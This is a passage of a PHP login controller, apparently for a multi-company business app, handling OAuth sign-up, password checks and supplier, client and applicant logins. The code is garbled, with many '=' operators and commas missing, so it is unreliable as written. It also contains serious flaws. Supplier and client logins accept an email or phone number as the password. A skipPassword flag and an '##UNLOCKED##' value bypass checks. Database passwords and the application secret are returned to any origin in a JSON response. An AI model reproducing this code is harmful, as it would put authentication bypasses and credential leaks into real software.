  3746.                                 'email' => $oAuthData['email']
  3747.                             )
  3748.                         );
  3749.                         if ($user) {
  3750.                             //no need to verify for oauth just proceed
  3751.                         } else {
  3752.                             //add new user and pass that user
  3753.                             $add_user EntityUserM::addNewEntityUser(
  3754.                                 $em_goc,
  3755.                                 $oAuthData['name'],
  3756.                                 $oAuthData['email'],
  3757.                                 '',
  3758.                                 0,
  3759.                                 0,
  3760.                                 0,
  3761.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3762.                                 [],
  3763.                                 0,
  3764.                                 "",
  3765.                                 0,
  3766.                                 "",
  3767.                                 $image '',
  3768.                                 $deviceId,
  3769.                                 0,
  3770.                                 0,
  3771.                                 $oAuthData['uniqueId'],
  3772.                                 $oAuthData['token'],
  3773.                                 $oAuthData['image'],
  3774.                                 $oAuthData['emailVerified'],
  3775.                                 $oAuthData['type']
  3776.                             );
  3777.                             if ($add_user['success'] == true) {
  3778.                                 $firstLogin 1;
  3779.                                 $user $add_user['user'];
  3780.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3781.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3782.                                         ->setFrom('registration@entity.innobd.com')
  3783.                                         ->setTo($user->getEmail())
  3784.                                         ->setBody(
  3785.                                             $this->renderView(
  3786.                                                 '@Application/email/user/registration_karbar.html.twig',
  3787.                                                 array('name' => $request->request->get('name'),
  3788.                                                     //                                                    'companyData' => $companyData,
  3789.                                                     //                                                    'userName'=>$request->request->get('email'),
  3790.                                                     //                                                    'password'=>$request->request->get('password'),
  3791.                                                 )
  3792.                                             ),
  3793.                                             'text/html'
  3794.                                         );
  3795.                                     /*
  3796.                                                        * If you also want to include a plaintext version of the message
  3797.                                                       ->addPart(
  3798.                                                           $this->renderView(
  3799.                                                               'Emails/registration.txt.twig',
  3800.                                                               array('name' => $name)
  3801.                                                           ),
  3802.                                                           'text/plain'
  3803.                                                       )
  3804.                                                       */
  3805.                                     //            ;
  3806.                                     $this->get('mailer')->send($emailmessage);
  3807.                                 }
  3808.                             }
  3809.                         }
  3810.                     }
  3811.                 } else {
  3812.                     $data = array();
  3813.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3814.                         array(
  3815.                             'email' => $request->request->get('username')
  3816.                         )
  3817.                     );
  3818.                     if (!$user) {
  3819.                         $message "Wrong Email";
  3820.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3821.                             return new JsonResponse(array(
  3822.                                 'uid' => $session->get(UserConstants::USER_ID),
  3823.                                 'session' => $session,
  3824.                                 'success' => false,
  3825.                                 'errorStr' => $message,
  3826.                                 'session_data' => [],
  3827.                             ));
  3828.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3829.                             //                    return $response;
  3830.                         }
  3831.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3832.                             "message" => $message,
  3833.                             'page_title' => "Login",
  3834.                             'gocList' => $gocDataList,
  3835.                             'gocId' => $gocId
  3836.                         ));
  3837.                     }
  3838.                     if ($user) {
  3839.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3840.                             $message "Sorry, Your Account is Deactivated";
  3841.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3842.                                 return new JsonResponse(array(
  3843.                                     'uid' => $session->get(UserConstants::USER_ID),
  3844.                                     'session' => $session,
  3845.                                     'success' => false,
  3846.                                     'errorStr' => $message,
  3847.                                     'session_data' => [],
  3848.                                 ));
  3849.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3850.                                 //                    return $response;
  3851.                             }
  3852.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3853.                                 "message" => $message,
  3854.                                 'page_title' => "Login",
  3855.                                 'gocList' => $gocDataList,
  3856.                                 'gocId' => $gocId
  3857.                             ));
  3858.                         }
  3859.                     }
  3860.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3861.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3862.                         $message "Wrong Email/Password";
  3863.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3864.                             return new JsonResponse(array(
  3865.                                 'uid' => $session->get(UserConstants::USER_ID),
  3866.                                 'session' => $session,
  3867.                                 'success' => false,
  3868.                                 'errorStr' => $message,
  3869.                                 'session_data' => [],
  3870.                             ));
  3871.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3872.                             //                    return $response;
  3873.                         }
  3874.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3875.                             "message" => $message,
  3876.                             'page_title' => "Login",
  3877.                             'gocList' => $gocDataList,
  3878.                             'gocId' => $gocId
  3879.                         ));
  3880.                     }
  3881.                 }
  3882.                 if ($user) {
  3883.                     //set cookie
  3884.                     if ($remember_me == 1)
  3885.                         $session->set('REMEMBERME'1);
  3886.                     else
  3887.                         $session->set('REMEMBERME'0);
  3888.                     $userType $user->getUserType();
  3889.                     // Entity User
  3890.                     $userId $user->getUserId();
  3891.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3892.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3893.                     $session->set('firstLogin'$firstLogin);
  3894.                     $session->set(UserConstants::USER_TYPE$userType);
  3895.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3896.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3897.                     $session->set('oAuthImage'$user->getOAuthImage());
  3898.                     $session->set(UserConstants::USER_NAME$user->getName());
  3899.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3900.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3901.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3902.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3903.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3904.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3905.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3906.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3907.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3908.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3909.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3910.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3911.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3912.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3913.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3914.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3915.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3916.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3917.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3918.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3919.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3920.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3921.                     $route_list_array = [];
  3922.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3923.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3924.                     $loginID EntityUserM::addEntityUserLoginLog(
  3925.                         $em_goc,
  3926.                         $userId,
  3927.                         $request->server->get("REMOTE_ADDR"),
  3928.                         0,
  3929.                         $deviceId,
  3930.                         $oAuthData['token'],
  3931.                         $oAuthData['type']
  3932.                     );
  3933.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3934.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3935.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3936.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3937.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3938.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3939.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3940.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3941.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3942.                     $appIdList json_decode($user->getUserAppIdList());
  3943.                     if ($appIdList == null)
  3944.                         $appIdList = [];
  3945.                     $companyIdListByAppId = [];
  3946.                     $companyNameListByAppId = [];
  3947.                     $companyImageListByAppId = [];
  3948.                     if (!in_array($user->getUserAppId(), $appIdList))
  3949.                         $appIdList[] = $user->getUserAppId();
  3950.                     foreach ($appIdList as $currAppId) {
  3951.                         if ($currAppId == $user->getUserAppId()) {
  3952.                             foreach ($company_id_list as $index_company => $company_id) {
  3953.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3954.                                 $app_company_index $currAppId '_' $company_id;
  3955.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3956.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3957.                             }
  3958.                         } else {
  3959.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3960.                                 $this->getDoctrine()->getManager('company_group'),
  3961.                                 $gocEnabled,
  3962.                                 $currAppId
  3963.                             );
  3964.                             if (!empty($dataToConnect)) {
  3965.                                 $connector $this->container->get('application_connector');
  3966.                                 $connector->resetConnection(
  3967.                                     'default',
  3968.                                     $dataToConnect['dbName'],
  3969.                                     $dataToConnect['dbUser'],
  3970.                                     $dataToConnect['dbPass'],
  3971.                                     $dataToConnect['dbHost'],
  3972.                                     $reset true
  3973.                                 );
  3974.                                 $em $this->getDoctrine()->getManager();
  3975.                                 $companyList Company::getCompanyListWithImage($em);
  3976.                                 foreach ($companyList as $c => $dta) {
  3977.                                     //                                $company_id_list[]=$c;
  3978.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3979.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3980.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3981.                                     $app_company_index $currAppId '_' $c;
  3982.                                     $company_locale $companyList[$c]['locale'];
  3983.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3984.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3985.                                 }
  3986.                             }
  3987.                         }
  3988.                     }
  3989.                     $session->set('appIdList'$appIdList);
  3990.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3991.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3992.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3993.                     $branchIdList json_decode($user->getUserBranchIdList());
  3994.                     $branchId $user->getUserBranchId();
  3995.                     $session->set('branchIdList'$branchIdList);
  3996.                     $session->set('branchId'$branchId);
  3997.                     if ($user->getAllModuleAccessFlag() == 1)
  3998.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3999.                     else
  4000.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4001.                     $session_data = array(
  4002.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  4003.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4004.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4005.                         'firstLogin' => $firstLogin,
  4006.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  4007.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  4008.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  4009.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  4010.                         'oAuthImage' => $session->get('oAuthImage'),
  4011.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  4012.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  4013.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  4014.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  4015.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  4016.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  4017.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  4018.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  4019.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  4020.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  4021.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  4022.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  4023.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4024.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4025.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4026.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  4027.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  4028.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  4029.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  4030.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  4031.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  4032.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  4033.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4034.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4035.                         //new
  4036.                         'appIdList' => $session->get('appIdList'),
  4037.                         'branchIdList' => $session->get('branchIdList'null),
  4038.                         'branchId' => $session->get('branchId'null),
  4039.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  4040.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  4041.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  4042.                     );
  4043.                     $session_data $this->filterClientSessionData($session_data);
  4044.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4045.                     $token $tokenData['token'];
  4046.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4047.                         $session->set('remoteVerified'1);
  4048.                         $response = new JsonResponse(array(
  4049.                             'token' => $token,
  4050.                             'uid' => $session->get(UserConstants::USER_ID),
  4051.                             'session' => $session,
  4052.                             'success' => true,
  4053.                             'session_data' => $session_data,
  4054.                         ));
  4055.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4056.                         return $response;
  4057.                     }
  4058.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4059.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4060.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4061.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4062.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4063.                                 return $this->redirect($red);
  4064.                             }
  4065.                         } else {
  4066.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4067.                         }
  4068.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4069.                         return $this->redirectToRoute("dashboard");
  4070.                     else
  4071.                         return $this->redirectToRoute($user->getDefaultRoute());
  4072. //                    if ($request->server->has("HTTP_REFERER")) {
  4073. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4074. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4075. //                        }
  4076. //                    }
  4077. //
  4078. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4079. //                    if ($request->request->has('referer_path')) {
  4080. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4081. //                            return $this->redirect($request->request->get('referer_path'));
  4082. //                        }
  4083. //                    }
  4084.                     //                    if($request->request->has('gocId')
  4085.                 }
  4086.             } else {
  4087.                 if ($specialLogin == 1) {
  4088.                 } else if (strpos($uname'SID-') !== false) {
  4089.                     $specialLogin 1;
  4090.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4091.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4092.                     //*** supplier id will be last 6 DIgits
  4093.                     $str_app_id_supplier_id substr($uname4);
  4094.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4095.                     {
  4096.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4097.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4098.                     }
  4099.                     //                else
  4100.                     //                {
  4101.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4102.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4103.                     //                }
  4104.                 } else if (strpos($uname'CID-') !== false) {
  4105.                     $specialLogin 1;
  4106.                     $userType UserConstants::USER_TYPE_CLIENT;
  4107.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4108.                     //*** supplier id will be last 6 DIgits
  4109.                     $str_app_id_client_id substr($uname4);
  4110.                     $clientId = ($str_app_id_client_id) % 1000000;
  4111.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4112.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4113.                     $specialLogin 1;
  4114.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4115.                     $isApplicantLogin 1;
  4116.                     if ($oAuthData) {
  4117.                         $email $oAuthData['email'];
  4118.                         $userName $email;
  4119. //                        $userName = explode('@', $email)[0];
  4120. //                        $userName = str_split($userName);
  4121. //                        $userNameArr = $userName;
  4122.                     } else if (strpos($uname'APP-') !== false) {
  4123.                         $email $uname;
  4124.                         $userName substr($email4);
  4125. //                        $userNameArr = str_split($userName);
  4126. //                        $generatedIdFromAscii = 0;
  4127. //                        foreach ($userNameArr as $item) {
  4128. //                            $generatedIdFromAscii += ord($item);
  4129. //                        }
  4130. //
  4131. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4132. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4133. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4134.                     } else {
  4135.                         $email $uname;
  4136.                         $userName $uname;
  4137. //                            $userName = substr($email, 4);
  4138. //                        $userName = explode('@', $email)[0];
  4139. //                            $userNameArr = str_split($userName);
  4140.                     }
  4141.                 }
  4142.                 $data = array();
  4143.                 if ($hasGoc == 1) {
  4144.                     if ($gocId != && $gocId != "") {
  4145. //                        $gocId = $request->request->get('gocId');
  4146.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4147.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4148.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4149.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4150.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4151.                         $connector $this->container->get('application_connector');
  4152.                         $connector->resetConnection(
  4153.                             'default',
  4154.                             $gocDataList[$gocId]['dbName'],
  4155.                             $gocDataList[$gocId]['dbUser'],
  4156.                             $gocDataList[$gocId]['dbPass'],
  4157.                             $gocDataList[$gocId]['dbHost'],
  4158.                             $reset true
  4159.                         );
  4160.                     } else if ($appId != && $appId != "") {
  4161.                         $gocId $request->request->get('gocId');
  4162.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4163.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4164.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4165.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4166.                         $gocId $gocDataListByAppId[$appId]['id'];
  4167.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4168.                         $connector $this->container->get('application_connector');
  4169.                         $connector->resetConnection(
  4170.                             'default',
  4171.                             $gocDbName,
  4172.                             $gocDbUser,
  4173.                             $gocDbPass,
  4174.                             $gocDbHost,
  4175.                             $reset true
  4176.                         );
  4177.                     }
  4178.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4179.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4180.                     if ($gocId != && $gocId != "") {
  4181.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4182.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4183.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4184.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4185.                         $connector $this->container->get('application_connector');
  4186.                         $connector->resetConnection(
  4187.                             'default',
  4188.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4189.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4190.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4191.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4192.                             $reset true
  4193.                         );
  4194.                     }
  4195.                 }
  4196.                 $session $request->getSession();
  4197.                 $em $this->getDoctrine()->getManager();
  4198.                 //will work on later on supplier login
  4199.                 if ($specialLogin == 1) {
  4200.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4201.                         //validate supplier
  4202.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4203.                             ->findOneBy(
  4204.                                 array(
  4205.                                     'supplierId' => $supplierId
  4206.                                 )
  4207.                             );
  4208.                         if (!$supplier) {
  4209.                             $message "Wrong UserName";
  4210.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4211.                                 return new JsonResponse(array(
  4212.                                     'uid' => $session->get(UserConstants::USER_ID),
  4213.                                     'session' => $session,
  4214.                                     'success' => false,
  4215.                                     'errorStr' => $message,
  4216.                                     'session_data' => [],
  4217.                                 ));
  4218.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4219.                                 //                    return $response;
  4220.                             }
  4221.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4222.                                 "message" => $message,
  4223.                                 'page_title' => "Login",
  4224.                                 'gocList' => $gocDataList,
  4225.                                 'gocId' => $gocId
  4226.                             ));
  4227.                         }
  4228.                         if ($supplier) {
  4229.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4230.                                 $message "Sorry, Your Account is Deactivated";
  4231.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4232.                                     return new JsonResponse(array(
  4233.                                         'uid' => $session->get(UserConstants::USER_ID),
  4234.                                         'session' => $session,
  4235.                                         'success' => false,
  4236.                                         'errorStr' => $message,
  4237.                                         'session_data' => [],
  4238.                                     ));
  4239.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4240.                                     //                    return $response;
  4241.                                 }
  4242.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4243.                                     "message" => $message,
  4244.                                     'page_title' => "Login",
  4245.                                     'gocList' => $gocDataList,
  4246.                                     'gocId' => $gocId
  4247.                                 ));
  4248.                             }
  4249.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4250.                                 //pass ok proceed
  4251.                             } else {
  4252.                                 if ($skipPassword == 1) {
  4253.                                 } else {
  4254.                                     $message "Wrong Email/Password";
  4255.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4256.                                         return new JsonResponse(array(
  4257.                                             'uid' => $session->get(UserConstants::USER_ID),
  4258.                                             'session' => $session,
  4259.                                             'success' => false,
  4260.                                             'errorStr' => $message,
  4261.                                             'session_data' => [],
  4262.                                         ));
  4263.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4264.                                         //                    return $response;
  4265.                                     }
  4266.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4267.                                         "message" => $message,
  4268.                                         'page_title' => "Login",
  4269.                                         'gocList' => $gocDataList,
  4270.                                         'gocId' => $gocId
  4271.                                     ));
  4272.                                 }
  4273.                             }
  4274.                             $jd = [$supplier->getCompanyId()];
  4275.                             if ($jd != null && $jd != '' && $jd != [])
  4276.                                 $company_id_list $jd;
  4277.                             else
  4278.                                 $company_id_list = [1];
  4279.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4280.                             foreach ($company_id_list as $c) {
  4281.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4282.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4283.                             }
  4284.                             $user $supplier;
  4285.                         }
  4286.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4287.                         //validate supplier
  4288.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4289.                             ->findOneBy(
  4290.                                 array(
  4291.                                     'clientId' => $clientId
  4292.                                 )
  4293.                             );
  4294.                         if (!$client) {
  4295.                             $message "Wrong UserName";
  4296.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4297.                                 return new JsonResponse(array(
  4298.                                     'uid' => $session->get(UserConstants::USER_ID),
  4299.                                     'session' => $session,
  4300.                                     'success' => false,
  4301.                                     'errorStr' => $message,
  4302.                                     'session_data' => [],
  4303.                                 ));
  4304.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4305.                                 //                    return $response;
  4306.                             }
  4307.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4308.                                 "message" => $message,
  4309.                                 'page_title' => "Login",
  4310.                                 'gocList' => $gocDataList,
  4311.                                 'gocId' => $gocId
  4312.                             ));
  4313.                         }
  4314.                         if ($client) {
  4315.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4316.                                 $message "Sorry, Your Account is Deactivated";
  4317.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4318.                                     return new JsonResponse(array(
  4319.                                         'uid' => $session->get(UserConstants::USER_ID),
  4320.                                         'session' => $session,
  4321.                                         'success' => false,
  4322.                                         'errorStr' => $message,
  4323.                                         'session_data' => [],
  4324.                                     ));
  4325.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4326.                                     //                    return $response;
  4327.                                 }
  4328.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4329.                                     "message" => $message,
  4330.                                     'page_title' => "Login",
  4331.                                     'gocList' => $gocDataList,
  4332.                                     'gocId' => $gocId
  4333.                                 ));
  4334.                             }
  4335.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4336.                                 //pass ok proceed
  4337.                             } else {
  4338.                                 if ($skipPassword == 1) {
  4339.                                 } else {
  4340.                                     $message "Wrong Email/Password";
  4341.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4342.                                         return new JsonResponse(array(
  4343.                                             'uid' => $session->get(UserConstants::USER_ID),
  4344.                                             'session' => $session,
  4345.                                             'success' => false,
  4346.                                             'errorStr' => $message,
  4347.                                             'session_data' => [],
  4348.                                         ));
  4349.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4350.                                         //                    return $response;
  4351.                                     }
  4352.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4353.                                         "message" => $message,
  4354.                                         'page_title' => "Login",
  4355.                                         'gocList' => $gocDataList,
  4356.                                         'gocId' => $gocId
  4357.                                     ));
  4358.                                 }
  4359.                             }
  4360.                             $jd = [$client->getCompanyId()];
  4361.                             if ($jd != null && $jd != '' && $jd != [])
  4362.                                 $company_id_list $jd;
  4363.                             else
  4364.                                 $company_id_list = [1];
  4365.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4366.                             foreach ($company_id_list as $c) {
  4367.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4368.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4369.                             }
  4370.                             $user $client;
  4371.                         }
  4372.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4373.                         $em $this->getDoctrine()->getManager('company_group');
  4374.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4375.                         if ($oAuthData) {
  4376.                             $oAuthEmail $oAuthData['email'];
